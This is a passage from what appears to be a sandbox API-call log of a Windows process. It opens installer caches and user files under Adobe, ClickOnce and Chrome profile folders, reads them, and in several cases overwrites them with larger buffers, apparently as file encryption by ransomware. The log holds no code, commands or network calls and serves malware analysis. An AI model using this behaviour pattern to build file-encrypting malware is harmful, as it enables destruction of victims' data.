lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.411] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6e6 [0057.411] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.411] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.411] ReleaseMutex (hMutex=0x128) returned 1 [0057.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO_PRM.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0057.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO_PRM.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO_PRM.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0057.411] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e6, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6e6, lpOverlapped=0x0) returned 1 [0057.411] CloseHandle (hObject=0x12c) returned 1 [0057.411] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.411] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.411] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x23588 [0057.412] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.412] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.412] ReleaseMutex (hMutex=0x128) returned 1 [0057.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0057.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x1e7fb4c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x86.msi", lpUsedDefaultChar=0x0) returned 25 [0057.412] ReadFile (in: hFile=0x12c, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0057.412] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x22588 [0057.412] ReadFile (in: hFile=0x12c, lpBuffer=0x1def548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.412] CloseHandle (hObject=0x12c) returned 1 [0057.412] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.412] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.412] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x23588 [0057.412] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.412] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.413] ReleaseMutex (hMutex=0x128) returned 1 [0057.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0057.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x1e7fb4c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x86.msi", lpUsedDefaultChar=0x0) returned 28 [0057.413] ReadFile (in: hFile=0x12c, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0057.413] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x22588 [0057.413] ReadFile (in: hFile=0x12c, lpBuffer=0x1def548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.413] CloseHandle (hObject=0x12c) returned 1 [0057.413] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.413] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.413] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x25588 [0057.413] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.413] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.413] ReleaseMutex (hMutex=0x128) returned 1 [0057.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0057.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x1e7fb4c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x86.msi", lpUsedDefaultChar=0x0) returned 25 [0057.414] ReadFile (in: hFile=0x12c, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0057.414] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x24588 [0057.414] ReadFile (in: hFile=0x12c, lpBuffer=0x1def548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.414] CloseHandle (hObject=0x12c) returned 1 [0057.414] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.414] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.414] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x71608 [0057.414] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.414] ReleaseMutex (hMutex=0x128) returned 1 [0057.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x86.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0057.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x86.exe", cchWideChar=16, lpMultiByteStr=0x1e786cc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vcredist_x86.exe", lpUsedDefaultChar=0x0) returned 16 [0057.414] ReadFile (in: hFile=0x12c, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0057.415] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x70608 [0057.415] ReadFile (in: hFile=0x12c, lpBuffer=0x1def548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.415] CloseHandle (hObject=0x12c) returned 1 [0057.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.415] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.415] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1400 [0057.416] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.416] ReleaseMutex (hMutex=0x128) returned 1 [0057.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SharedDataEvents", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0057.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SharedDataEvents", cchWideChar=16, lpMultiByteStr=0x1e786cc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SharedDataEvents", lpUsedDefaultChar=0x0) returned 16 [0057.416] ReadFile (in: hFile=0x12c, lpBuffer=0x1def548, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesRead=0x32cf2bc*=0x1400, lpOverlapped=0x0) returned 1 [0057.418] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.418] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1988, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x32cf2d0*=0x1988, lpOverlapped=0x0) returned 1 [0057.418] CloseHandle (hObject=0x12c) returned 1 [0057.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.418] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.418] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x560 [0057.418] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.419] ReleaseMutex (hMutex=0x128) returned 1 [0057.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clickonce_bootstrap_unsigned.manifest", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0057.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clickonce_bootstrap_unsigned.manifest", cchWideChar=37, lpMultiByteStr=0x1eb2084, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clickonce_bootstrap_unsigned.manifest", lpUsedDefaultChar=0x0) returned 37 [0057.419] ReadFile (in: hFile=0x12c, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x32cf2bc*=0x560, lpOverlapped=0x0) returned 1 [0057.420] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.420] WriteFile (in: hFile=0x12c, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xae8, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x32cf2d0*=0xae8, lpOverlapped=0x0) returned 1 [0057.420] CloseHandle (hObject=0x12c) returned 1 [0057.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.421] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.421] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2000 [0057.421] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.421] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.421] ReleaseMutex (hMutex=0x128) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="data_2", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0057.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="data_2", cchWideChar=6, lpMultiByteStr=0x1e6a7bc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="data_2", lpUsedDefaultChar=0x0) returned 6 [0057.421] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf2bc*=0x2000, lpOverlapped=0x0) returned 1 [0057.423] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.423] WriteFile (in: hFile=0x12c, lpBuffer=0x1de33e8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de33e8*, lpNumberOfBytesWritten=0x32cf2d0*=0x2588, lpOverlapped=0x0) returned 1 [0057.423] CloseHandle (hObject=0x12c) returned 1 [0057.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.576] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.576] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x9a [0057.576] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.576] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.576] ReleaseMutex (hMutex=0x128) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LOG", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0057.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LOG", cchWideChar=3, lpMultiByteStr=0x1e6a81c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOG", lpUsedDefaultChar=0x0) returned 3 [0057.576] ReadFile (in: hFile=0x12c, lpBuffer=0x2516b98, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2516b98*, lpNumberOfBytesRead=0x32cf2bc*=0x9a, lpOverlapped=0x0) returned 1 [0057.577] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.577] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x622, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x622, lpOverlapped=0x0) returned 1 [0057.577] CloseHandle (hObject=0x12c) returned 1 [0057.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.578] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.578] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x101 [0057.579] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.579] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.579] ReleaseMutex (hMutex=0x128) returned 1 [0057.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.579] ReadFile (in: hFile=0x12c, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x32cf2bc*=0x101, lpOverlapped=0x0) returned 1 [0057.580] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.580] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x689, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x689, lpOverlapped=0x0) returned 1 [0057.580] CloseHandle (hObject=0x12c) returned 1 [0057.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.581] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.581] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xdd [0057.581] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.581] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.581] ReleaseMutex (hMutex=0x128) returned 1 [0057.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.581] WideCharToMultiByte (in: 